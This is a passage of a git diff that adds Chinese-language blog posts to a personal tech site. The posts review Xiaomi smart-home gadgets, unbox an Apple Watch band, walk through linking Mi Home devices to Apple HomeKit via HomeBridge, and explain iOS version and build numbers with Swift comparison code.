  3. 語音智能強大;跟 Siri 比起來,Siri = 3歲小孩 ¶小愛同學除了有基本的語音助理功能(查天氣、新聞、資料、控制家電、播音樂….) ¶還有超多擴充的技能(問美劇、玩小遊戲、聊天、講相聲、 扮女僕,沒錯就是用女僕口吻跟你對話!! ) ¶支援自訂功能(自訂詞、對應的動作)
  4. 另外差別最大的是他比較會舉一反三,不像 Siri 你問他天氣他也就只回妳天氣就沒了;小愛同學會順帶問你要不要提醒你帶傘之類的,更貼心有溫度。
  5. 360 度收音、放音,音量很夠;呼叫也很靈敏準確。
  6. 可直接當藍芽音樂播放音箱

缺點:

  1. 當藍牙音響時 ,看影片會有1–2秒嚴重延遲;這算是蠻嚴重的缺陷,查大陸論壇也無解決辦法,官方擺爛,貌似是硬體問題。
  2. 不支援 Spotify / Apple Music ,像我非 KKBOX 用戶,送的 3 個月到期後不想花錢就只能切到大陸地區使用 QQ 音樂。
  3. 不像 HomePod 支援家庭中樞功能,本來我預期的是可以把小米音箱當智慧家庭的中樞中心,然後我到家,米家感應到小米音箱就能自動執行對應的動作(就是蘋果HomePod+HomeKit那套);看來是不行!
  4. 要另外裝一個 小愛音箱 APP
  5. 跟米家APP要設同個地區,我米家APP設在大陸(因功能較多),小愛同學也只能設大路

綜合上述,日常使用下就只是個只能播音樂的藍牙音箱,偶爾叫小愛同學時間到叫我…就這樣,其實 Siri 就能做到;無法當電腦的藍牙音響對我來說真的很痛,但不得不說他的語音功能真的很智慧、很厲害!可以買來玩玩。

新添購 — 米家藍牙溫濕度計

小物,NT$ 365

要另外再買一顆4號電池來裝;官方號稱續航可達一年,外觀圓形小巧、磁掛式設計隨時拿下來把玩都很方便,雙排顯示螢幕能快速掌握目前溫度及濕度。

APP 溫度紀錄

APP 溫度紀錄

僅支援藍牙連線,所以手機超過藍牙範圍後就無法讀取到數據;除非購買藍芽網關或是支援藍芽網關功能的其他米家設備。

官方文件的支援藍芽網關設備列表

官方文件的支援藍芽網關設備列表

一般來說是能連WiFi跟藍牙的設備都支援,但 小米AI音箱居然不行 !!

而且我發現一件神奇的事,就是 米家直流變頻電風扇居然可以 ,WTF! ! ! !;所以我目前是透過米家電風扇把溫濕度計的訊息用WiFi傳到網路給我。

真的很詭異...小米AI音箱、檯燈、桌燈、攝影機都不支援藍芽網關功能,電風扇居然支援!

*不確定是否是只有溫濕度計能這樣

另外補充溫濕度計會不一直發推播通知

推播溫度太高或太潮濕的消息(但台灣這些溫濕度是很正常的…)

關閉方式:

可以到「我的」-> 右上角「設定」-> 裝置通知 -> 找到米家藍芽溫濕度計 -> 關閉

可以到「我的」-> 右上角「設定」-> 裝置通知 -> 找到米家藍芽溫濕度計 -> 關閉

關閉之後就不會再收到推播通知消息了!

新添購 — 體重計2

就是個體重計,NT$ 395

除了能APP記錄體重外多了秤物、平衡測試…功能,但就是體重計,比較常用的就是量體重而已;外型精美,放在家裡不用也能提升質感!

體重計也要另外下載一個小米健康的APP,在秤重時打開APP就能同步紀錄體重。

小米健康APP

小米健康APP

新添購 — 直流變頻電風扇

這次設備添購中最滿意的電器,NT$ 1995

首先電風扇的基本功能方面

左右擺角120度範圍很大,風力調節支援1–100段,風力大小隨心所欲;我最喜歡的是另一個「自然風」模式,因為我怕熱喜歡直吹但很常直吹一陣子之後覺得不太舒服,這個自然風可以讓我一直保持直吹模式,不會不舒服!

外觀設計

ㄧ樣保持小米白色簡潔的設計,我個人不喜歡電扇太金屬(感覺就髒髒的);小米電扇很輕盈乾淨,沒用放著,看也舒服。

智能方面

加入米家APP之後,可以從APP控制所有參數(模式、開關、風力、角度);另外也可以設定週期定時(EX:週一~週五早上7:00關閉)、與米家設備連動(EX:回家自動打開、溫度高於30度自動打開)…等等智慧家居功能可以玩

另外就是發現它能當藍芽網關,幫米家藍牙溫濕度計傳輸數據。

*不確定是否是只有溫濕度計能這樣

目前已有設備整理

  1. 米家智慧攝影機雲台版 1080P (支援:米家)
  2. 米家檯燈 Pro (支援:Apple HomeKit、米家)
  3. 米家 LED 智慧檯燈 (支援:米家)
  4. 小米AI音箱
  5. 米家藍芽溫濕度感應器
  6. 小米體重計2
  7. 米家直流變頻電風扇

總結

以上就是這次新添購項目心得整理,距離理想(溫度太高自動開冷氣、電風扇跟人、回家開燈、離家關燈開攝影機、濕度太高開除濕機)還有很常的路要走,甚至非常崎嶇…要會改電路、還有發現我的除濕機是沒有回歸功能、冷氣也是舊型;米家很多設備台灣也沒賣(EX:萬能遙控器),本來想衝智慧家庭組,但想想用途不大,目前繼續研究還有啥能上智能!

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iPlayground 2019 是怎麼樣的體驗?

iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居

diff --git a/posts/c0f99f987d9c/index.html b/posts/c0f99f987d9c/index.html new file mode 100644 index 000000000..3e4984fe8 --- /dev/null +++ b/posts/c0f99f987d9c/index.html @@ -0,0 +1 @@ + Apple Watch 原廠不鏽鋼米蘭錶帶開箱 | ZhgChgLi
Home Apple Watch 原廠不鏽鋼米蘭錶帶開箱
Post
Cancel

Apple Watch 原廠不鏽鋼米蘭錶帶開箱

Apple Watch 原廠不鏽鋼米蘭錶帶開箱

Apple 原廠不鏽鋼 44 公釐石墨色米蘭式錶環開箱

緊接著上篇「 Apple Watch Series 6 開箱 & 兩年使用心得 」這次也終於狠下心入手了 原廠的米蘭錶帶 ,其實兩年前就想入手但一直沒下手;這次正好一次更新,反正蘋果保證錶帶能通用在所有後續的 Apple Watch 版本,所以不擔心之後更新手錶後錶帶不能使用。

優點

米蘭錶帶由不鏽鋼織網與磁力錶環組成,不鏽鋼織網的好處是透氣、速乾;磁力錶環讓整條錶帶能調整至任意位置、更貼合手、穿戴方便、磁力很強不怕會掉;最重要的是讓 Apple Watch 整體更為正式、更好配合穿搭。

缺點

夾毛髮、夾毛髮、夾毛髮、比較重。

原廠 vs 副廠?

潛伏在 Apple 社團許久,觀察到大家最常問的問題就是米蘭錶帶原廠 vs 副廠的問題;個人覺得差別不大,主要還是在細節跟做工,原廠同樣會夾毛髮,但原廠的編織作工很細膩一體成型、磁貼部分磁力很強不會鬆動、乾淨親膚不會有鐵鏽味,但價差也差了好幾倍(原廠要價 $ 3,100),最好還是都先摸過實品再決定,個人猜測副廠 1~2千的米蘭錶帶應該就幾乎等於原廠的做工了。

尺寸

上篇 ,建議手較小的購買 Apple Watch 40 mm,因為 40 mm 的米蘭錶帶,手腕圍為 130–180 mm;相較 44 mm 的米蘭錶帶,手腕圍 150–200 mm 再短 20 mm。

錶帶是一體成型長度無法調整;如果錶帶已經調到緊繃還是太大那只能考慮副廠,不然就吃胖點(?)所以還是去門市試戴一下比較保險。

朋友的案例,手太小買 44 + 米蘭錶帶,只能貼到底還有點「ㄌㄤ」!

開箱

* 2020/11/01 購於 Apple Store 101 直營店。

一樣樸實無華的紙質包裝

一樣樸實無華的紙質包裝

包裝背面

包裝背面

現在也不叫太空灰了,叫石墨色。

內容物

內容物

類似原廠矽膠錶帶,但差別在沒有多附短版的錶帶XD

本體

本體

磁力錶扣

磁力錶扣

磁力錶扣,可吸在任意位置,任意調整表環大小

磁力錶扣,可吸在任意位置,任意調整表環大小

安裝指示

安裝指示

有磁貼的那邊在下在外扣入 Apple Watch 本體。

不要像我一樣一開始裝反還不知道,雖然也沒差?:

正確版!完成!

正確版!完成!

實戴圖背面

實戴圖背面

實戴圖正面

實戴圖正面

補充原廠錶帶細節

*簡易辨別原廠/副廠米蘭錶帶的方法,但不一定準確;從合法通路購入才能確保不被騙!

連接端 - 靠近磁力錶扣的那端 — 底部 — 有「Assembled in China」字樣

連接端 - 靠近磁力錶扣的那端 — 底部 — 有「Assembled in China」字樣

連接端另一端 — 表面 — 有「44MM」字樣

連接端另一端 — 表面 — 有「44MM」字樣

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Apple Watch Series 6 開箱 & 兩年使用體驗

iOS APP 版本號那些事

diff --git a/posts/c3150cdc85dd/index.html b/posts/c3150cdc85dd/index.html new file mode 100644 index 000000000..685cad956 --- /dev/null +++ b/posts/c3150cdc85dd/index.html @@ -0,0 +1,111 @@ + 智慧家居初體驗 - Apple HomeKit & 小米米家 | ZhgChgLi
Home 智慧家居初體驗 - Apple HomeKit & 小米米家
Post
Cancel

智慧家居初體驗 - Apple HomeKit & 小米米家

智慧家居初體驗 - Apple HomeKit & 小米米家

米家智慧攝影機及米家智慧檯燈、Homekit設定教學

[2020/04/20] 進階篇已發 有經驗的朋友請直接左轉前往>> 示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit

雜談:

最近剛搬完家;有別於原本住的地方,天花板是辦公室輕鋼架燈,亮到要拔掉幾根燈管眼睛才比較舒適;現在住的地方則是裝潢反射燈,使用電腦、看書亮度稍嫌不足,兩週下來眼睛覺得更容易乾澀不舒服;本想直接去IKEA採購,但考量到光色、護眼,最後比較一下CP值,於是還是選擇了小米檯燈(加上之前已有買小米智慧攝影機,都是米家系列產品)。

本篇:

其實我在選購時並沒有特別注意是否支援Apple HomeKit,身為一個iOS 開發者實在太失格了,因為我壓跟沒想到小米會支援.

所以本篇會分別介紹 Apple HomeKit 使用不支援Apple HomeKit的智慧家居怎麼使用第三方串接HomeKit?使用米家本身搭建智慧家庭的方法(搭配IFTTT)

大家可以根據自己的裝置需求跳著看。

採買:

我一共買了兩盞檯燈,一盞(Pro)放電腦桌工作用、另一盞放床頭當閱讀燈。

米家檯燈 Pro

NT$ 1,795 支援米家、Apple HomeKit

NT$ 1,795 支援米家、Apple HomeKit

米家 LED 智慧檯燈

NT$ 995 僅支援米家

NT$ 995 僅支援米家

詳細介紹可參考官網,兩盞都支援智慧控制、變色、調亮度、護眼,Pro版支援Apple HomeKit、三段角度調整;目前使用下來,以一盞燈的功能來說已經相當滿意,硬要挑一個缺點的話就是Pro版的角度調整只有底座能水平轉,燈不行,這樣就不能調整光線的角度了!

理想的智慧家居目標:

目前有的裝置:

  1. 米家智慧攝影機雲台版 1080P (支援:米家)
  2. 米家檯燈 Pro (支援:Apple HomeKit、米家)
  3. 米家 LED 智慧檯燈 (支援:米家)

理想目標:

回到家時: 自動關閉攝影機(為了隱私及防止誤觸看家警報,米家APP有BUG看家警報無法照設定時間開啟關閉)、打開電腦桌的Pro燈(不想摸黑) 離家時: 自動打開攝影機(預設啟用看家)、關閉所有燈具

本篇最終達成:

離家、回家時發推播提醒,手機按一下觸發操作(已現有裝置沒辦法達到理想的自動化目標)

智慧家居設定之路:

Apple HomeKit 使用

*僅限米家檯燈 Pro!米家檯燈 Pro!米家檯燈 Pro!

這是最簡單的一部分,因為都是原生功能。

只需四步驟

只需四步驟

  1. 找到家庭APP(如沒有請到App Store搜尋「家庭」安裝)
  2. 打開家庭APP
  3. 點擊右上角「+」加入配近
  4. 掃描Pro檯燈底部HomeKit QRCode加入配件即可!

加入配件成功後,在配件上重壓(3D TOUCH)/長壓,即可調整亮度、顏色。

那不 支援Apple HomeKit的智慧家居怎麼使用第三方串接HomeKit?

除了以上本身就支援的智慧裝置,那不支援Apple HomeKit的裝置是不是就完全無法透過家庭控制呢了? 本章節手把手教你將不支援的裝置(攝影機、一般版檯燈)也加入到「家庭」中!

Mac ONLY,WIN使用者請直接跳到使用米家的章節

我的裝置是MacOS 10.14/iOS 12

使用 HomeBridge

HomeBridge透過使用Mac電腦作為橋接器,將不支援的裝置模擬成HomeKit設備,就可以加入到「家庭」的配件之中.

運作比較

運作比較

可以看到一個重點就是 你要有一台Mac電腦保持開機狀態,才能保持橋接通道順暢 ;一但電腦關機、休眠,就無法控制那些HomeKit裝置。

當然網路上也有神人做法,自行買一塊樹莓派來玩,將樹莓派當成橋接器;但這涉及到太多技術,本篇不會介紹。

知道缺點後如果還想玩玩,可以繼續往下看或是跳到下一個直接使用米家的章節。

第一步:

安裝 node.js點我 下載 ,安裝即可

第二步:

打開「終端機」輸入

1
+
sudo npm -v
+

查看node.js npm套件管理工具是否安裝成功:顯示出版本號即表示成功!

第三步:

透過 npm 安裝 HomeBridge套件:

1
+
sudo npm -g install homebridge --unsafe-perm
+

等待安裝完成後…HomeBridge工具就算裝完了!

前面有提到 “HomeBridge就是透過使用Mac電腦作為橋接器,將不支援的裝置模擬成HomeKit設備”, 實際上HomeBridge只是一個平台,各裝置要加入要再另外找HomeBridge的外掛資源

很好找,只要google或在github 搜尋「mija 產品英文名 homebridge」就會有許多資源;這邊介紹兩個我在用的裝置的資源:

1.米家攝影機雲臺版資源: MijiaCamera

攝影機是比較棘手的裝置,花了些時間研究並整理了一下;希望有幫助到有需要的人!

首先ㄧ樣用「終端機」下命令安裝這MijiaCamera這個npm套件

1
+
sudo npm install -g homebridge-mijia-camera
+

安裝完成後,我們需要取得攝影機的網路 IP位址Token 兩個資訊

打開米家APP → 攝影機 → 右上角「…」→設定→網路訊息,得到 IP位址

Token 資訊就比較麻煩了,需要你將手機連接到Mac上:

打開 Itunes 介面

打開 Itunes 介面

選備份 不要勾替本機備份加密 ,點「立即備份」

備份完成後, 下載 安裝備份查看軟體: iBackupViewer

打開「iBackupViewer」,初次啟動會要你去 Mac「系統偏好設定」- 「安全性與隱私權」-「隱私權」-「+」- 加入「iBackupViewer」 *如有隱私顧慮可關閉網路使用這套軟體、並在使用後移除

再次打開「iBackupViewer」成功讀取到備份檔後,點擊右上角切換到「Tree View」模式

左側會顯示你所有安裝的APP,找到米家的APP「AppDomain-com.xiaomi.mihome」->「Documents」

在右側文件列表中找到並選擇 「 數字_mihome.sqlite」 這個檔案

點擊右上角「Export」匯出 ->「Selected」

將剛剛匯出的sqlite檔案丟到 https://inloop.github.io/sqlite-viewer/ 查看內容

可以看到所有米家APP上的裝置資訊欄位,向右滾動到尾端,找到 ZTOKEN 欄位,雙擊編輯全選複製

最後再打開 http://aes.online-domain-tools.com/ 網站將 ZTOKEN 轉成最終 Token

1.將剛剛複製出來的 ZTOKEN貼在「Input Text」,選「Hex」 2.Key輸入「00000000000000000000000000000000」32個0,ㄧ樣選「Hex」 3.然後按下「Decrypt!」轉換 4.全選複製右下角藍匡&去掉空格後就是我們要的結果 Token

Token 這邊有嘗試用「miio」直接嗅探的方式,但好像是米家攝影機韌體有更新過,已無法用這個方法快速方便得到Token了!

回到HomeBridge!編輯設定檔 config.json

使用「Finder」->「前往」->「前往檔案夾」-> 輸入「~/.homebridge」前往

使用文字編輯器打開「config.json」,若沒有此檔案請自行建立一個或 點此下載 直接放進去

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "accessories":[
+      {
+         "accessory":"MijiaCamera",
+         "name":"Mi Camera",
+         "ip":"",
+         "token":""
+      }
+   ]
+}
+

在config.json裡加入以上內容,IP 及 Token部分帶入上面取得的資訊。

這時候再次回到「終端機」下以下命令啟動 HomeBridge

1
+
sudo homebridge start
+

如果已啟動之後又更改了config.json內容的話可以改下:

1
+
sudo homebridge restart
+

重新啟動

這時會出現HomeKit QRCode 讓您掃描加入配件(步驟如上面提到的,Apple HomeKit裝置加入方式)

下方也會有狀態訊息: [2019–7–4 23:45:03] [Mi Camera] connecting to camera at 192.168.0.100… [2019–7–4 23:45:03] [Mi Camera] current power state: off

有出現這些&沒出現錯誤error訊息即表示設定成功!

一般常見的錯誤都是Token有錯,確認一下上面流程有無遺漏即可。

現在你就可以從「家庭」APP中開關米家智慧攝影機囉!

2.米家 LED 智慧檯燈 HomeBridge 資源: homebridge-yeelight-wifi

再來是米家 LED 智慧檯燈,由於不像Pro版有支援Apple HomeKit,所以我們還是要用HomeBridge的方法來加入;雖然步驟 不需經過繁瑣流程取得IP、Token ,相對攝影機來說較簡單,但檯燈有檯燈的坑,要用另一個YeeLight APP配對後將區域網路控制設定打開:

這點不得不吐槽一下這個糟糕的整合性,原生米家APP是無法做這項設定的;所以請到APP Store搜尋「 Yeelight 」APP 下載&安裝

開啟APP -> 直接使用米家帳號登入 -> 增加裝置 -> 米家檯燈 -> 照指示將檯燈改綁定到 Yeelight APP

裝置綁定完成後回到「裝置」頁 -> 點「米家檯燈」進入 -> 點右下角「△」Tab -> 點「局域網控制」進入設定 -> 打開按鈕允許局域網(區域網路)控制

檯燈的設置到這裡即可,你可以保留這個APP控制檯燈或再重新綁定回米家.

再來是HomeBridge設定;ㄧ樣先打開「終端機」下命令安裝 homebridge-yeelight-wifi npm套件

1
+
sudo npm install -g homebridge-yeelight-wifi
+

安裝完成後同上攝影機的步驟,前往 ~/.homebridge 資料夾,建立或編輯修改 config.json,這次只需要在最後一個}裡面加上

1
+2
+3
+4
+5
+6
+
"platforms": [
+   {
+         "platform" : "yeelight",
+         "name" : "yeelight"
+   }
+ ]
+

即可!

最後結合上述攝影機的 config.json檔如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+

+{
+	"bridge": {
+		"name": "Homebridge",
+		"username": "CC:22:3D:E3:CE:30",
+		"port": 51826,
+		"pin": "123-45-568"
+	},
+
+	"accessories": [
+		{
+			"accessory": "MijiaCamera",
+			"name": "Mi Camera",
+			"ip": "",
+			"token": ""
+		}
+	],
+
+	"platforms": [
+	  {
+	        "platform" : "yeelight",
+	        "name" : "yeelight"
+	  }
+	]
+}
+

然後一樣回到「終端機」下:

1
+
sudo homebridge start
+

1
+
sudo homebridge restart
+

即可看到原本不支援的米家 LED 智慧檯燈也加入HomeKit「家庭」APP囉!

而且同樣支援顏色、光度調整!

HomeKit配件都加好了,怎麼讓他智慧呢?

全都加好、橋接好後ㄧ樣打開「家庭」APP

依照步驟新增場景情境,這裡以回家為例:

右上角點擊「+」-> 加入情境 -> 自訂 -> 配件名稱自行輸入(EX:回家) -> 點下方「加入配件」-> 選擇已串接好的HomeKit配件 -> 設定這個場景時的配件狀態(攝影機:關/臺燈:開) -> 可點「測試情境」進行測試 -> 右上角「完成」!

這樣就設定好場囉~這時候在首頁點場景就換執行裡面所有配件的設定!

還有一個快捷小撇步,就是在上拉控制選單直接點房子形狀的按鈕快速操作HomeKit/執行情境(右上可切換模式)!

智慧有了,那怎麼自動化呢?

智慧已經有了,現在我想要達成終極目標,回家自動關閉攝影機、開燈;離家自動開攝影機、關燈.

切到第三個Tab「自動化」就可設定,很抱歉這邊沒有一個上述設備(iPad/Apple TV/HomePod)可以做 家庭中樞 所以這塊我就沒研究了。

原理好像是回到家,感應到 ”家庭中樞” 手機/手錶即可精準觸發!

這邊我有找到一個tricky的做法:(感應GPS)

使用第三方的APP串接「家庭」加入自動化設定,就可以透過使用手機GPS定位來做到自動化破解封鎖使用「自動化」Tab的功能

p.s GPS會有約100公尺的誤差

這邊我使用的第三方串接APP是: myHome Plus

下載&安裝後開啟APP -> 允許存取「家庭資料」-> 會看到「家庭」的資料配置 -> 點選右上角「設定按鈕」-> 點「我家」進入 ->下拉到「Triggers」區域 -> 點「Add Trigger」

Trigger 類型選「Location」-> Name 輸入名字(EX:回家) -> 點「Set Location」設定位置區域 -> 再來 REGION STATUS 可以設定是進入還是離開該區域 -> 最後 SCENES 可以選擇對應要執行的「情景」(上面建立的)

按右上角「完成」儲存後,再回到「家庭」APP,可以看到「自動化」Tab 被打開可以用了!

這時候就可以選擇右上角「+」使用「家庭」APP直接新增自動化腳本!!

步驟也如第三方APP,不過整合性更佳!使用原生「家庭」APP建立好自動化後也可以滑動刪除剛剛用第三方APP建的。

!!僅需注意,至少要保留一項;否則Tab就會回到原始封鎖狀態!!

Siri 語音控制的部分:

相較下面介紹的米家,HomeKit的整合性相當高,可直接使用語音控制設定的配件、執行場景,無需額外,無需額外設定。

HomeKit的設定介紹就到這邊了,再來講解米家原生智慧家庭的用法。

使用米家本身搭建智慧家庭的方法:

這邊遇到一個困惑點,就是我在米家新增設備中找不到長得一樣的米家檯燈,答案就是:

看字就好,這個就是

看字就好,這個就是

其他設備:攝影機、Pro檯燈就直接照官方說明設定加入就好,這邊不在冗述.

場景情境設定:

同「家庭設定方式」-> 切換到「智慧」Tab -> 選擇「手動執行」-> 下方選擇裝置操作(由於是原生所以可選更多功能) -> 繼續增加其他裝置(檯燈) -> 「儲存」完成!

一定會有人想問為什麼不直接選「離開或到達某地」?,因為這功能根本沒用,他APP沒針對台灣優化GPS是錯的,而且他的定位只能定在地標上,如果你的位置有那可以直接使用此功能, 文章後續也都可跳過!

冷知識: Google Maps 裡的中國地圖全是錯的!

快捷開關部分,可以從「我的」->「小元件」設定小工具元件!

這樣就能從通知中心快速執行場境、裝置囉!

也可從 Apple Watch 上控制元件! *如果手錶APP一直出現空白請刪除重裝手錶或手機APP,這個APP真的蠻多BUG的

智慧有了,那怎麼自動化呢?

這邊ㄧ樣要使用GPS感應方式, 如果上述新增場景用的就是「離開或到達某地」,以下介紹設定都可略過囉!

* * * * *

[2019/09/26] 更新 iOS ≥ 13 只使用內建 捷徑 APP 達成自動化 :

iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居,點擊前往查看>>

* * * * *

iOS ≥ 12,iOS < 13 Only :

使用內建的捷徑APP搭配IFTTT

首先到「我的」-> 「實驗室功能」->「iOS 捷徑」-> 「將米家場景加入捷勁」

打開系統內建的「 捷徑 」APP(若找不到請到App Stroe 搜尋下載回來)

點擊右上角「+」建立捷徑 -> 點右上完成下方的設定按鈕 -> 名稱 -> 輸入名稱(建議用英文,因為等等還要用到)

回到新增捷徑頁面 -> 在下方選單輸入搜尋「米家」-> 加入對應的在米家設定的場景,關閉「執行時顯示」否則執行完會開啟米家APP。

*如果找不到米家請回到米家APP嘗試開關「我的」-> 「實驗室功能」->「iOS 捷徑」-> 「將米家場景加入捷勁」、滑掉「捷徑」APP重開。

這時候又要使用第三方APP了,我們使用IFTTT做GPS進入、離開的背景觸發器,到App Store搜尋「 IFTTT 」下載&安裝。

打開IFTTT、登入帳號後,切換到「My Applets」Tab,點右上角「+」新增-> 點擊「+this」-> 搜尋「Location」-> 選擇是進入還是離開

設定位置 -> 點擊「Create trigger」確定 -> 換點下面「+that」-> 搜尋「notification」

選擇「Send a rich notification from the IFTTT app」:

Title = 通知標題 , Message = 通知內容

Link URL 請輸入:shortcuts://run-shortcut?name= 捷徑名稱

所以才說捷徑名稱盡量設英文比較好

-> 點選「Create action」-> 可點選「Edit title」設定名稱

-> 「Finish」儲存完成!

當你下次離開/進入設定的區域範圍就會收到觸發的通知(一樣有約100公尺的誤差範圍),點選通知後就會自動執行米家場景囉!

點選通知就會在背景自動執行場景

點選通知就會在背景自動執行場景

Siri 語音控制的部分:

由於米家不是Apple內建APP,所以要支援Siri語音控制就得另外設置:

在「智慧」Tab -> 「加入Siri」-> 選擇「目標場景」按「加入Siri」

-> 點紅色錄製指令(EX:關燈) -> 完成!

即可在Siri中直接呼叫控制執行場景!

總結

上述一大堆的設定步驟,總結一下就是:

如果要好的體驗就是得花大錢買有HomeKit標誌的電器(就可不需放台Mac做HomeBridge開機待命,直接與原生Apple 家庭功能完美結合)還有要再買HomePod或Apple TV、iPad做家庭中樞;不管是HomeKit標誌的電器、家庭中樞都不便宜!

如果有技術能力可考慮使用第三方智慧裝置(如米家)搭配樹莓派做HomeBridge。

如果像我一個就是個普通人那還是直接用米家最為方便上手,目前的使用習慣是回家、離開家會從通知中心點快捷小工具執行場景操作;捷徑APP搭配IFTTT的部份僅作為通知提醒,怕有時候忘記。

目前體驗雖沒達到目標理想,但已經離 “智慧家庭” 更進一步了!

進階篇

示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

AirPods 2 開箱及上手體驗心得

Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)

diff --git a/posts/c4d7c2ce5a8d/index.html b/posts/c4d7c2ce5a8d/index.html new file mode 100644 index 000000000..101f25383 --- /dev/null +++ b/posts/c4d7c2ce5a8d/index.html @@ -0,0 +1,509 @@ + iOS APP 版本號那些事 | ZhgChgLi
Home iOS APP 版本號那些事
Post
Cancel

iOS APP 版本號那些事

iOS APP 版本號那些事

版本號規則及判斷比較解決方案

Photo by [James Yarema](https://unsplash.com/@jamesyarema?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by James Yarema

前言

所有 iOS APP 開發者都會碰到的兩個數字,Version Number 和 Build Number;最近剛好遇到需求跟版本號有關,要做版本號判斷邀請使用者評價 APP,順便挖掘了一下關於版本號的事;文末也會附上我的版本號判斷解決大全。

[XCode Help](https://help.apple.com/xcode/mac/current/#/devba7f53ad4){:target="_blank"}

XCode Help

語意化版本 x.y.z

首先介紹「 語意化版本 」這份規範,主要是要解決軟體相依及軟體管理上的問題,如我們很常在使用的 Cocoapods ;假設我今天使用 Moya 4.0,Moya 4.0 使用並依賴 Alamofire 2.0.0,如果今天 Alamofire 有更新了,可能是新功能、可能是修復問題、可能是整個架構重做(不相容舊版);這時候如果對於版本號沒有一個公共共識規範,將會變得一團亂,因為你不知道哪個版本是相容的、可更新的。

語意化版本由三個部分組成: x.y.z

  • x: 主版號 (major):當你做了不相容的 API 修改
  • y: 次版號 (minor):當你做了向下相容的功能性新增
  • z: 修訂號 (patch):當你做了向下相容的問題修正

通用規則:

  • 必須為非負的整數
  • 不可補零
  • 0.y.z 開頭為開發初始階段,不應該用於正式版版號
  • 以數值遞增

比較方式:

先比 主版號,主版號 等於時 再比 次版號,次版號 等於時 再比 修訂號。

ex: 1.0.0 < 2.0.0 < 2.1.0 < 2.1.1

另外還可在修訂號之後加入「先行版號資訊 (ex: 1.0.1-alpha)」或「版本編譯資訊 (ex: 1.0.0-alpha+001)」但 iOS APP 版號並不允許這兩個格式上傳至 App Store,所以這邊就不做贅述,詳細可參考「 語意化版本 」。

✅:1.0.1, 1.0.0, 5.6.7 ❌:01.5.6, a1.2.3, 2.005.6

實際使用

關於實際使用在 iOS APP 版本控制上,因為我們僅作為 Release APP 版本的標記,不存在與其他 APP、軟體相依問題;所以在實際使用上的定義就因應各團隊自行定義,以下僅為個人想法:

  • x: 主版號 (major):有重大更新時(多個頁面介面翻新、主打功能上線)
  • y: 次版號 (minor):現有功能優化、補強時(大功能下的小功能新增)
  • z: 修訂號 (patch):修正目前版本的 bug時

一般如果是緊急修復(Hot Fix)才會動到修訂號,正常狀況下都為 0;如果有新的版本上線可以將它歸回 0。

EX: 第一版上線(1.0.0) -> 補強第一版的功能 (1.1.0) -> 發現有問題要修復 (1.1.1) -> 再次發現有問題 (1.1.2) -> 繼續補強第一版的功能 (1.2.0) -> 全新改版 (2.0.0) -> 發現有問題要修復 (2.0.1) … 以此類推

Version Number vs. Build Number

Version Number (APP 版本號)

  • App Store、外部識別用
  • Property List Key: CFBundleShortVersionString
  • 內容僅能由數字和「.」組成
  • 官方也是建議使用語意化版本 x.y.z 格式
  • 2020121701、2.0、2.0.0.1 都可 (下面會有總表統計 App Store 上 App 版本號的命名方式)
  • 不可超過 18 個字元
  • 格式不合可以 build & run 但無法打包上傳到 App Store
  • 僅能往上遞增、不能重複、不能下降

一般習慣使用語意化版本 x.y.z 或 x.y。

Build Number

  • 內部開發過程、階段識別使用,不會公開給使用者
  • 打包上傳到 App Store 識別使用(相同 build number 無法重複打包上傳)
  • Property List Key: CFBundleVersion
  • 內容僅能由數字和「.」組成
  • 官方也是建議使用語意化版本 x.y.z 格式
  • 1、2020121701、2.0、2.0.0.1 都可
  • 不可超過 18 個字元
  • 格式不合可以 build & run 但無法打包上傳到 App Store
  • 同個 APP 版本號下不能重複,反之不同APP 版本號可以重複 ex: 1.0.0 build: 1.0.0, 1.1.0 build: 1.0.0 ✅

一般習慣使用日期、number(每個新版本都從 0 開始),並搭配 CI/fastlane 自動在打包時遞增 build number。

稍微統計了一下排行版上 app 的版本號格式,如上圖。

一般還是以 x.y.z 為主。

版本號比較及判斷方式

有時候我們會需要使用版本進行判斷,例如:低於 x.y.z 版本則跳強制更新、等於某個版本跳邀請評價,這時候就需要能比較兩個版本字串的功能。

簡易方式

1
+2
+3
+4
+5
+
let version = "1.0.0"
+print(version.compare("1.0.0", options: .numeric) == .orderedSame) // true 1.0.0 = 1.0.0
+print(version.compare("1.22.0", options: .numeric) == .orderedAscending) // true 1.0.0 < 1.22.0
+print(version.compare("0.0.9", options: .numeric) == .orderedDescending) // true 1.0.0 > 0.0.9
+print(version.compare("2", options: .numeric) == .orderedAscending) // true 1.0.0 < 2
+

也可以寫 String Extension:

1
+2
+3
+4
+5
+
extension String {
+    func versionCompare(_ otherVersion: String) -> ComparisonResult {
+        return self.compare(otherVersion, options: .numeric)
+    }
+}
+

⚠️但需注意若遇到格式不同要判斷相同是會有誤:

1
+2
+
let version = "1.0.0"
+version.compare("1", options: .numeric) //.orderedDescending
+

實際我們知道 1 == 1.0.0 ,但若用此方式判斷將得到 .orderedDescending ;可 參考此篇文章補0後再判斷 的做法;正常情況下我們選定 APP 版本格式後就不應該再變了,x.y.z 就一直用 x.y.z,不要一下 x.y.z 一下 x.y。

複雜方式

可直接使用已用輪子: mrackwitz/Version 以下為重造輪子。

複雜方式這邊遵照使用語意化版本 x.y.z 最為格式規範,自行使用 Regex 做字串頗析並自行實作比較操作符,除了基本的 =/>/≥/</≤ 外還多實作了 ~> 操作符(同 Cocoapods 版本指定方式)並支援靜態輸入。

~> 操作符的定義是:

大於等於此版本但小於此版本的(上一階層版號+1)

1
+2
+3
+4
+
EX:
+~> 1.2.1: (1.2.1 <= 版本 < 1.3) 1.2.3,1.2.4...
